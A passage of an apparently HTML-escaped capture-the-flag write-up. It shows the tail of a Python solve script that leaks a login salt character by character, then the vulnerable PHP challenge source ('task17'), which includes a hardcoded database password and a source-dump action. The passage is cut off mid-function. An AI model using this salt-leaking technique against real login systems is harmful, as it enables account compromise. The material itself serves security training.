&lt;span class=&quot;n&quot;&gt;innersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leak&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_salt_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashmatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;innersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;problem-source&quot;&gt;Problem source&lt;/h2&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;web_control&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$msi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$twig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;error_reporting&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;E_ALL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;ini_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'display_errors'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;require_once&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Twig/Autoloader.php'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;Twig_Autoloader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;//setup twig
&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;$loader&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Twig_Loader_Filesystem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'templates'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;twig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Twig_Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$loader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'debug'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'true'&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;//$this-&amp;gt;twig-&amp;gt;addExtension(new Twig_Extension_Debug());
&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;//set default settings
&lt;/span&gt;        &lt;span class=&quot;nb&quot;&gt;setlocale&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;LC_ALL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'de_DE.UTF8'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;date_default_timezone_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'UTC'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;


        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mysqli_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'localhost'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'task17'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'WSnAEB4UMNwHbv7kTOLKJsAra85eXS2w'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'task17'&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;


        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;set_charset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'utf8'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Error loading character set utf8: %s&amp;lt;br/&amp;gt;mysqli_real_escape_string() might not work proper.'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mysqli_connect_errno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Connect failed: %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mysqli_connect_error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/tmp/secret'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'no secret given'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/tmp/secret'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$do&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;validate_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'login'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;render_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'register'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;render_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'flag'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;render_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'dump'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;highlight_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;render_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'REQUEST_METHOD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'POST'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;do_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;twig&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'login.twig'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'result'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'pagetitle'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Login'&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;render_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'REQUEST_METHOD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'POST'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;do_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;twig&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'register.twig'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'result'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;'pagetitle'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Register'&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;render_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'._.'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;#echo shell_exec(&quot;/usr/bin/get_flag&quot;);
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;the falg was here once but for loadbalancing reasons we put it in a cookie! :)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'danger'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Login failed!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SELECT * FROM users WHERE name = &quot;%s&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;num_rows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fetch_assoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'outersalt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'innersalt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
